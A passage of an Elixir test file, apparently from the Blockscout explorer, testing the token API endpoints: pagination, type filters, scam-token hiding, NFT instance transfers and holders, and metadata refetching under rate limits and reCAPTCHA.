fiat_value: i) + end + + request = get(conn, "/api/v2/tokens", %{"sort" => "foo", "order" => "bar"}) + + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens", %{"sort" => "foo", "order" => "bar"} |> Map.merge(response["next_page_params"])) + + assert response_2nd_page = json_response(request_2nd_page, 200) + check_paginated_response(response, response_2nd_page, tokens) + end + + test "get token with ok reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + insert(:token) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/tokens") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "ok" + + assert response == conn |> get("/api/v2/tokens") |> json_response(200) + end + + test "get token with scam reputation", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, true) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + target_token = insert(:token) + insert(:scam_badge_to_address, address_hash: target_token.contract_address_hash) + + request = conn |> put_req_cookie("show_scam_tokens", "true") |> get("/api/v2/tokens") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "scam" + + request = conn |> get("/api/v2/tokens") + response = json_response(request, 200) + + assert response["items"] == [] + end + + test "get token with ok reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + insert(:token) + + request = conn |> get("/api/v2/tokens") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "ok" + end + + test "get token with scam reputation with hide_scam_addresses=false", %{conn: conn} do + init_value = Application.get_env(:block_scout_web, :hide_scam_addresses) + Application.put_env(:block_scout_web, :hide_scam_addresses, false) + on_exit(fn -> Application.put_env(:block_scout_web, :hide_scam_addresses, init_value) end) + + target_token = insert(:token) + insert(:scam_badge_to_address, address_hash: target_token.contract_address_hash) + + request = conn |> get("/api/v2/tokens") + response = json_response(request, 200) + + assert List.first(response["items"])["reputation"] == "ok" + end + + test "tokens are filtered by single type", %{conn: conn} do + erc_20_tokens = + for i <- 0..50 do + insert(:token, fiat_value: i) + end + + erc_721_tokens = + for _i <- 0..50 do + insert(:token, type: "ERC-721") + end + + erc_1155_tokens = + for _i <- 0..50 do + insert(:token, type: "ERC-1155") + end + + erc_404_tokens = + for _i <- 0..50 do + insert(:token, type: "ERC-404") + end + + check_tokens_pagination(erc_20_tokens, conn, %{"type" => "ERC-20"}) + check_tokens_pagination(erc_721_tokens |> Enum.reverse(), conn, %{"type" => "ERC-721"}) + check_tokens_pagination(erc_1155_tokens |> Enum.reverse(), conn, %{"type" => "ERC-1155"}) + check_tokens_pagination(erc_404_tokens |> Enum.reverse(), conn, %{"type" => "ERC-404"}) + end + + test "tokens are filtered by multiple type", %{conn: conn} do + erc_20_tokens = + for i <- 11..36 do + insert(:token, fiat_value: i) + end + + erc_721_tokens = + for _i <- 0..25 do + insert(:token, type: "ERC-721") + end + + erc_1155_tokens = + for _i <- 0..24 do + insert(:token, type: "ERC-1155") + end + + erc_404_tokens = + for _i <- 0..24 do + insert(:token, type: "ERC-404") + end + + check_tokens_pagination( + erc_721_tokens |> Kernel.++(erc_1155_tokens) |> Enum.reverse(), + conn, + %{ + "type" => "ERC-1155,ERC-721" + } + ) + + check_tokens_pagination( + erc_1155_tokens |> Enum.reverse() |> Kernel.++(erc_20_tokens), + conn, + %{ + "type" => "[erc-20,ERC-1155]" + } + ) + + check_tokens_pagination( + erc_404_tokens |> Enum.reverse() |> Kernel.++(erc_20_tokens), + conn, + %{ + "type" => "[erc-20,ERC-404]" + } + ) + end + + test "sorting by fiat_value", %{conn: conn} do + tokens = + for i <- 0..50 do + insert(:token, fiat_value: i) + end + + check_tokens_pagination(tokens, conn) + end + + # these tests that tokens paginates by each parameter separately and by any combination of them + test "pagination by address", %{conn: conn} do + tokens = + for _i <- 0..50 do + insert(:token, name: nil) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by name", %{conn: conn} do + named_token = insert(:token, holder_count: 0) + empty_named_token = insert(:token, name: "", holder_count: 0) + + tokens = + for i <- 1..49 do + insert(:token, holder_count: i) + end + + tokens = [named_token, empty_named_token | tokens] + + check_tokens_pagination(tokens, conn) + end + + test "pagination by holders", %{conn: conn} do + tokens = + for i <- 0..50 do + insert(:token, holder_count: i, name: nil) + end + + check_tokens_pagination(tokens, conn) + end + + test "pagination by circulating_market_cap", %{conn: conn} do + tokens = + for i <- 0..50 do + insert(:token, circulating_market_cap: i, name: nil) + end + + check_tokens_pagination(tokens, conn) + end + + test "pagination by name and address", %{conn: conn} do + tokens = + for _i <- 0..50 do + insert(:token) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by holders and address", %{conn: conn} do + tokens = + for _i <- 0..50 do + insert(:token, holder_count: 1, name: nil) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by circulating_market_cap and address", %{conn: conn} do + tokens = + for _i <- 0..50 do + insert(:token, circulating_market_cap: 1, name: nil) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by holders and name", %{conn: conn} do + tokens = + for i <- 1..51 do + insert(:token, holder_count: 1, name: List.to_string([i])) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by circulating_market_cap and name", %{conn: conn} do + tokens = + for i <- 1..51 do + insert(:token, circulating_market_cap: 1, name: List.to_string([i])) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by circulating_market_cap and holders", %{conn: conn} do + tokens = + for i <- 0..50 do + insert(:token, circulating_market_cap: 1, holder_count: i, name: nil) + end + + check_tokens_pagination(tokens, conn) + end + + test "pagination by holders, name and address", %{conn: conn} do + tokens = + for _i <- 0..50 do + insert(:token, holder_count: 1) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by circulating_market_cap, name and address", %{conn: conn} do + tokens = + for _i <- 0..50 do + insert(:token, circulating_market_cap: 1) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by circulating_market_cap, holders and address", %{conn: conn} do + tokens = + for _i <- 0..50 do + insert(:token, circulating_market_cap: 1, holder_count: 1, name: nil) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by circulating_market_cap, holders and name", %{conn: conn} do + tokens = + for i <- 1..51 do + insert(:token, circulating_market_cap: 1, holder_count: 1, name: List.to_string([i])) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "pagination by circulating_market_cap, holders, name and address", %{conn: conn} do + tokens = + for _i <- 0..50 do + insert(:token, holder_count: 1, circulating_market_cap: 1) + end + |> Enum.reverse() + + check_tokens_pagination(tokens, conn) + end + + test "check nil", %{conn: conn} do + token = insert(:token) + + request = get(conn, "/api/v2/tokens") + + assert %{"items" => [token_json], "next_page_params" => nil} = json_response(request, 200) + + compare_item(token, token_json) + end + end + + describe "/tokens/{address_hash}/instances" do + test "get 404 on non existing address", %{conn: conn} do + token = build(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/tokens/0x/instances") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get empty list", %{conn: conn} do + token = insert(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances") + + assert %{"items" => [], "next_page_params" => nil} = json_response(request, 200) + end + + test "get instances list", %{conn: conn} do + token = insert(:token) + + for _ <- 0..50 do + insert(:token_instance) + end + + instances = + for _ <- 0..50 do + insert(:token_instance, token_contract_address_hash: token.contract_address_hash) + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address_hash}/instances") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address_hash}/instances", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, instances) + end + + test "get instances list by holder erc-721", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + insert_list(51, :token_instance, token_contract_address_hash: token.contract_address_hash) + + address = insert(:address, contract_code: Enum.random([nil, "0x010101"])) + + insert_list(51, :token_instance) + + token_instances = + for _ <- 0..50 do + insert(:token_instance, + owner_address_hash: address.hash, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token, :owner]) + end + + filter = %{"holder_address_hash" => to_string(address.hash)} + + request = get(conn, "/api/v2/tokens/#{token.contract_address_hash}/instances", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/tokens/#{token.contract_address_hash}/instances", + Map.merge(response["next_page_params"], filter) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_instances) + end + + test "get instances list by holder erc-1155", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + insert_list(51, :token_instance, token_contract_address_hash: token.contract_address_hash) + + address = insert(:address, contract_code: Enum.random([nil, "0x010101"])) + + insert_list(51, :token_instance) + + token_instances = + for _ <- 0..50 do + ti = + insert(:token_instance, + token_contract_address_hash: token.contract_address_hash + ) + |> Repo.preload([:token]) + + current_token_balance = + insert(:address_current_token_balance_with_token_id_and_fixed_token_type, + address: address, + token_type: "ERC-1155", + token_id: ti.token_id, + token_contract_address_hash: token.contract_address_hash, + value: Enum.random(1..2) + ) + + %Instance{ti | current_token_balance: current_token_balance, owner: address} + end + + filter = %{"holder_address_hash" => to_string(address.hash)} + + request = get(conn, "/api/v2/tokens/#{token.contract_address_hash}/instances", filter) + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/tokens/#{token.contract_address_hash}/instances", + Map.merge(response["next_page_params"], filter) + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_instances) + end + end + + describe "/tokens/{address_hash}/instances/{token_id}" do + test "get 404 on non existing address", %{conn: conn} do + token = build(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/12") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/tokens/0x/instances/12") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get token instance by token id", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + for _ <- 0..50 do + insert(:token_instance, token_id: 0) + end + + transaction = + :transaction + |> insert() + |> with_block() + + instance = insert(:token_instance, token_id: 0, token_contract_address_hash: token.contract_address_hash) + + _transfer = + insert(:token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + token_ids: [0], + token_type: "ERC-721" + ) + + for _ <- 1..50 do + insert(:token_instance, token_contract_address_hash: token.contract_address_hash) + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/0") + + assert data = json_response(request, 200) + assert compare_item(instance, data) + assert Address.checksum(instance.owner_address_hash) == data["owner"]["hash"] + end + + test "get 404 on token instance which is not presented in DB", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/0") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + # https://github.com/blockscout/blockscout/issues/9906 + test "regression for #9906", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + insert(:token_instance, + token_id: 0, + token_contract_address_hash: token.contract_address_hash, + metadata: %{ + "image_url" => "ipfs://QmTQBtvkCQKnxbUejwYHrs2G74JR2qFwxPUqRb3BQ6BM3S/gm%20gm%20feelin%20blue%204k.png" + } + ) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/0") + + assert %{ + "image_url" => + "https://ipfs.io/ipfs/QmTQBtvkCQKnxbUejwYHrs2G74JR2qFwxPUqRb3BQ6BM3S/gm%20gm%20feelin%20blue%204k.png" + } = json_response(request, 200) + end + + # https://github.com/blockscout/blockscout/issues/11149 + test "regression for #11149", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + old_env = Application.get_env(:indexer, :ipfs) + + public_ipfs_gateway = "https://ipfs_custom.io/ipfs" + + Application.put_env( + :indexer, + :ipfs, + Keyword.merge(old_env, + gateway_url_param_key: "secret_key", + gateway_url_param_value: "secret_value", + gateway_url_param_location: :query, + gateway_url: "http://localhost/", + public_gateway_url: public_ipfs_gateway + ) + ) + + insert(:token_instance, + token_id: 0, + token_contract_address_hash: token.contract_address_hash, + metadata: %{ + "image_url" => "ipfs://QmTQBtvkCQKnxbUejwYHrs2G74JR2qFwxPUqRb3BQ6BM3S/123.png" + } + ) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/0") + + assert %{ + "image_url" => "https://ipfs_custom.io/ipfs/QmTQBtvkCQKnxbUejwYHrs2G74JR2qFwxPUqRb3BQ6BM3S/123.png" + } = json_response(request, 200) + + Application.put_env(:indexer, :ipfs, old_env) + end + + test "metadata dropped on token uri on demand filler", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + insert(:token_instance, + token_id: 0, + token_contract_address_hash: token.contract_address_hash, + metadata: %{"awesome" => "metadata"} + ) + + encoded_url_1 = + "0x" <> + (ABI.TypeEncoder.encode(["http://240.0.0.0/api/metadata.json"], %ABI.FunctionSelector{ + function: nil, + types: [ + :string + ] + }) + |> Base.encode16(case: :lower)) + + token_contract_address_hash_string = to_string(token.contract_address_hash) + + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [ + %{ + id: id_1, + jsonrpc: "2.0", + method: "eth_call", + params: [ + %{ + data: "0xc87b56dd0000000000000000000000000000000000000000000000000000000000000000", + to: ^token_contract_address_hash_string + }, + "latest" + ] + } + ], + _options -> + {:ok, [%{id: id_1, jsonrpc: "2.0", result: encoded_url_1}]} + end + ) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/0") + + assert data = json_response(request, 200) + assert data["metadata"] == nil + + instance = Repo.one(Instance) + assert instance.metadata == nil + assert instance.error == "blacklist" + assert instance.skip_metadata_url == false + end + end + + describe "/tokens/{address_hash}/instances/{token_id}/transfers" do + test "get 404 on non existing address", %{conn: conn} do + token = build(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/12/transfers") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/tokens/0x/instances/12/transfers") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get token transfers by instance", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + for _ <- 0..50 do + insert(:token_instance, token_id: 0) + end + + id = :rand.uniform(1_000_000) + + transaction = + :transaction + |> insert(input: "0xabcd010203040506") + |> with_block() + + insert(:token_instance, token_id: id, token_contract_address_hash: token.contract_address_hash) + + insert_list(100, :token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + token_ids: [id + 1], + token_type: "ERC-1155", + amounts: [1] + ) + + transfers_0 = + insert_list(26, :token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + token_ids: [id, id + 1], + token_type: "ERC-1155", + amounts: [1, 2] + ) + + transfers_1 = + for _ <- 26..50 do + transaction = + :transaction + |> insert(input: "0xabcd010203040506") + |> with_block() + + insert(:token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + token_ids: [id], + token_type: "ERC-1155" + ) + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address_hash}/instances/#{id}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/tokens/#{token.contract_address_hash}/instances/#{id}/transfers", + response["next_page_params"] + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + check_paginated_response(response, response_2nd_page, transfers_0 ++ transfers_1) + end + + test "check that pagination works for 404 tokens", %{conn: conn} do + token = insert(:token, type: "ERC-404") + + for _ <- 0..50 do + insert(:token_instance, token_id: 0) + end + + id = :rand.uniform(1_000_000) + + transaction = + :transaction + |> insert(input: "0xabcd010203040506") + |> with_block() + + insert(:token_instance, token_id: id, token_contract_address_hash: token.contract_address_hash) + + insert_list(100, :token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + token_ids: [id + 1], + token_type: "ERC-404", + amounts: [1] + ) + + transfers_0 = + insert_list(26, :token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + token_ids: [id, id + 1], + token_type: "ERC-404", + amounts: [1, 2] + ) + + transfers_1 = + for _ <- 26..50 do + transaction = + :transaction + |> insert(input: "0xabcd010203040506") + |> with_block() + + insert(:token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + token_ids: [id], + token_type: "ERC-404" + ) + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address_hash}/instances/#{id}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/tokens/#{token.contract_address_hash}/instances/#{id}/transfers", + response["next_page_params"] + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + check_paginated_response(response, response_2nd_page, transfers_0 ++ transfers_1) + end + + test "check that pagination works for 721 tokens", %{conn: conn} do + token = insert(:token, type: "ERC-721") + id = 0 + insert(:token_instance, token_id: id, token_contract_address_hash: token.contract_address_hash) + + token_transfers = + for _i <- 0..50 do + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: [id], + token_type: "ERC-721" + ) + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{id}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/tokens/#{token.contract_address.hash}/instances/#{id}/transfers", + response["next_page_params"] + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + + test "check that same token_ids within batch squashes", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + id = 0 + + insert(:token_instance, token_id: id, token_contract_address_hash: token.contract_address_hash) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt = + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn _x -> id end), + token_type: "ERC-1155", + amounts: Enum.map(0..50, fn x -> x end) + ) + + token_transfer = %TokenTransfer{tt | token_ids: [id], amount: Decimal.new(1275)} + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{id}/transfers") + assert %{"next_page_params" => nil, "items" => [item]} = json_response(request, 200) + compare_item(token_transfer, item) + end + + test "check that pagination works fine with 1155 batches #1 (51 batch with twice repeated id. Repeated id squashed into one element)", + %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + id = 0 + amount = 101 + insert(:token_instance, token_id: id, token_contract_address_hash: token.contract_address_hash) + + transaction = insert(:transaction, input: "0xabcd010203040506") |> with_block() + + tt = + for _ <- 0..50 do + insert(:token_transfer, + transaction: transaction, + block: transaction.block, + block_number: transaction.block_number, + token_contract_address: token.contract_address, + token_ids: Enum.map(0..50, fn x -> x end) ++ [id], + token_type: "ERC-1155", + amounts: Enum.map(1..51, fn x -> x end) ++ [amount] + ) + end + + token_transfers = + for i <- tt do + %TokenTransfer{i | token_ids: [id], amount: amount + 1} + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{id}/transfers") + assert response = json_response(request, 200) + + request_2nd_page = + get( + conn, + "/api/v2/tokens/#{token.contract_address.hash}/instances/#{id}/transfers", + response["next_page_params"] + ) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_paginated_response(response, response_2nd_page, token_transfers) + end + end + + describe "/tokens/{address_hash}/instances/{token_id}/holders" do + test "get 404 on non existing address", %{conn: conn} do + token = build(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/12/holders") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/tokens/0x/instances/12/holders") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get 422 on invalid id", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + request = get(conn, "/api/v2/tokens/#{token.contract_address_hash}/instances/123ab/holders") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "get token transfers by instance", %{conn: conn} do + token = insert(:token, type: "ERC-1155") + + id = :rand.uniform(1_000_000) + insert(:token_instance, token_id: id - 1, token_contract_address_hash: token.contract_address_hash) + + insert( + :address_current_token_balance, + token_contract_address_hash: token.contract_address_hash, + value: 1000, + token_id: id - 1 + ) + + insert(:token_instance, token_id: id, token_contract_address_hash: token.contract_address_hash) + + token_balances = + for i <- 0..50 do + insert( + :address_current_token_balance_with_token_id, + token_contract_address_hash: token.contract_address_hash, + value: i + 1000, + token_id: id + ) + end + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{id}/holders") + assert response = json_response(request, 200) + + request_2nd_page = + get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{id}/holders", response["next_page_params"]) + + assert response_2nd_page = json_response(request_2nd_page, 200) + + check_holders_paginated_response(response, response_2nd_page, token_balances) + end + end + + describe "/tokens/{address_hash}/instances/{token_id}/transfers-count" do + test "get 404 on non existing address", %{conn: conn} do + token = build(:token) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/12/transfers-count") + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "get 422 on invalid address", %{conn: conn} do + request = get(conn, "/api/v2/tokens/0x/instances/12/transfers-count") + + assert %{"message" => "Invalid parameter(s)"} = json_response(request, 422) + end + + test "receive 0 count", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + insert(:token_instance, token_id: 0, token_contract_address_hash: token.contract_address_hash) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/0/transfers-count") + + assert %{"transfers_count" => 0} = json_response(request, 200) + end + + test "get count > 0", %{conn: conn} do + token = insert(:token, type: "ERC-721") + + for _ <- 0..50 do + insert(:token_instance, token_id: 0) + end + + transaction = + :transaction + |> insert() + |> with_block() + + insert(:token_instance, token_id: 0, token_contract_address_hash: token.contract_address_hash) + + count = :rand.uniform(1000) + + insert_list(count, :token_transfer, + token_contract_address: token.contract_address, + transaction: transaction, + token_ids: [0], + token_type: "ERC-721" + ) + + request = get(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/0/transfers-count") + + assert %{"transfers_count" => ^count} = json_response(request, 200) + end + end + + describe "/tokens/{address_hash}/instances/{token_id}/refetch-metadata" do + setup :set_mox_from_context + + setup :verify_on_exit! + + setup %{json_rpc_named_arguments: json_rpc_named_arguments} do + original_config = :persistent_term.get(:rate_limit_config) + old_recaptcha_env = Application.get_env(:block_scout_web, :recaptcha) + original_api_rate_limit = Application.get_env(:block_scout_web, :api_rate_limit) + + v2_secret_key = "v2_secret_key" + v3_secret_key = "v3_secret_key" + + Application.put_env(:block_scout_web, :recaptcha, + v2_secret_key: v2_secret_key, + v3_secret_key: v3_secret_key, + is_disabled: false + ) + + mocked_json_rpc_named_arguments = Keyword.put(json_rpc_named_arguments, :transport, EthereumJSONRPC.Mox) + + start_supervised!({Task.Supervisor, name: Indexer.TaskSupervisor}) + + start_supervised!( + {TokenInstanceMetadataRefetchOnDemand, + [mocked_json_rpc_named_arguments, [name: TokenInstanceMetadataRefetchOnDemand]]} + ) + + %{json_rpc_named_arguments: mocked_json_rpc_named_arguments} + + Subscriber.to(:fetched_token_instance_metadata, :on_demand) + Subscriber.to(:not_fetched_token_instance_metadata, :on_demand) + + Application.put_env(:block_scout_web, :api_rate_limit, Keyword.put(original_api_rate_limit, :disabled, false)) + + config = %{ + static_match: %{}, + wildcard_match: %{}, + parametrized_match: %{ + ["api", "v2", "tokens", ":param", "instances", ":param", "refetch-metadata"] => %{ + ip: %{period: 3_600_000, limit: 1}, + recaptcha_to_bypass_429: true, + bypass_token_scope: "token_instance_refetch_metadata", + bucket_key_prefix: "api/v2/tokens/:param/instances/:param/refetch-metadata_", + isolate_rate_limit?: true + } + } + } + + :persistent_term.put(:rate_limit_config, config) + + on_exit(fn -> + :persistent_term.put(:rate_limit_config, original_config) + Application.put_env(:block_scout_web, :recaptcha, old_recaptcha_env) + Application.put_env(:block_scout_web, :api_rate_limit, original_api_rate_limit) + :ets.delete_all_objects(BlockScoutWeb.RateLimit.Hammer.ETS) + end) + + {:ok, %{v2_secret_key: v2_secret_key, v3_secret_key: v3_secret_key}} + end + + test "token instance metadata on-demand re-fetcher is called; recaptcha is required after rate limit is exceeded", + %{conn: conn, v2_secret_key: v2_secret_key} do + token = insert(:token, type: "ERC-721") + token_id = 1 + + insert(:token_instance, + token_id: token_id, + token_contract_address_hash: token.contract_address_hash, + metadata: %{} + ) + + metadata = %{"name" => "Super Token"} + url = "http://metadata.endpoint.com" + token_contract_address_hash_string = to_string(token.contract_address_hash) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(metadata) + }} + end + ) + + topic = "token_instances:#{token_contract_address_hash_string}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + request = + patch(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "OK"} = json_response(request, 200) + + :timer.sleep(100) + + assert_receive( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, ^metadata]} + ) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_id: ^token_id, fetched_metadata: ^metadata}, + event: "fetched_token_instance_metadata", + topic: ^topic + }, + :timer.seconds(1) + + token_instance_from_db = + Repo.get_by(Instance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + assert token_instance_from_db.metadata == metadata + + expected_body = "secret=#{v2_secret_key}&response=123" + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{body: ^expected_body}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: + Jason.encode!(%{ + "success" => true, + "hostname" => Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:host] + }) + }} + end + ) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(metadata) + }} + end + ) + + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert json_response(request, 429) + + request = + Phoenix.ConnTest.build_conn() + |> put_req_header("user-agent", "test-agent") + |> put_req_header("recaptcha-v2-response", "123") + |> patch("/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "OK"} = json_response(request, 200) + + :timer.sleep(100) + + assert_receive( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, ^metadata]} + ) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_id: ^token_id, fetched_metadata: ^metadata}, + event: "fetched_token_instance_metadata", + topic: ^topic + }, + :timer.seconds(1) + + token_instance_from_db = + Repo.get_by(Instance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + assert(token_instance_from_db) + assert token_instance_from_db.metadata == metadata + end + + test "don't fetch token instance metadata for non-existent token instance", %{ + conn: conn, + v2_secret_key: _v2_secret_key + } do + token = insert(:token, type: "ERC-721") + token_id = 0 + + insert(:token_instance, token_id: token_id, token_contract_address_hash: token.contract_address_hash) + + request = + patch(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/1/refetch-metadata", %{}) + + assert %{"message" => "Not found"} = json_response(request, 404) + end + + test "fetch token instance metadata for existing token instance with no metadata", %{ + conn: conn + } do + token = insert(:token, type: "ERC-721") + token_id = 1 + + insert(:token_instance, + token_id: token_id, + token_contract_address_hash: token.contract_address_hash, + metadata: nil + ) + + metadata = %{"name" => "Super Token"} + url = "http://metadata.endpoint.com" + token_contract_address_hash_string = to_string(token.contract_address_hash) + + TestHelper.fetch_token_uri_mock(url, token_contract_address_hash_string) + + Tesla.Test.expect_tesla_call( + times: 1, + returns: fn %{url: ^url}, _opts -> + {:ok, + %Tesla.Env{ + status: 200, + body: Jason.encode!(metadata) + }} + end + ) + + topic = "token_instances:#{token_contract_address_hash_string}" + + {:ok, _reply, _socket} = + BlockScoutWeb.V2.UserSocket + |> socket("no_id", %{}) + |> subscribe_and_join(topic) + + request = + patch(conn, "/api/v2/tokens/#{token.contract_address.hash}/instances/#{token_id}/refetch-metadata", %{}) + + assert %{"message" => "OK"} = json_response(request, 200) + + :timer.sleep(100) + + assert_receive( + {:chain_event, :fetched_token_instance_metadata, :on_demand, + [^token_contract_address_hash_string, ^token_id, ^metadata]} + ) + + assert_receive %Phoenix.Socket.Message{ + payload: %{token_id: ^token_id, fetched_metadata: ^metadata}, + event: "fetched_token_instance_metadata", + topic: ^topic + }, + :timer.seconds(1) + + token_instance_from_db = + Repo.get_by(Instance, token_id: token_id, 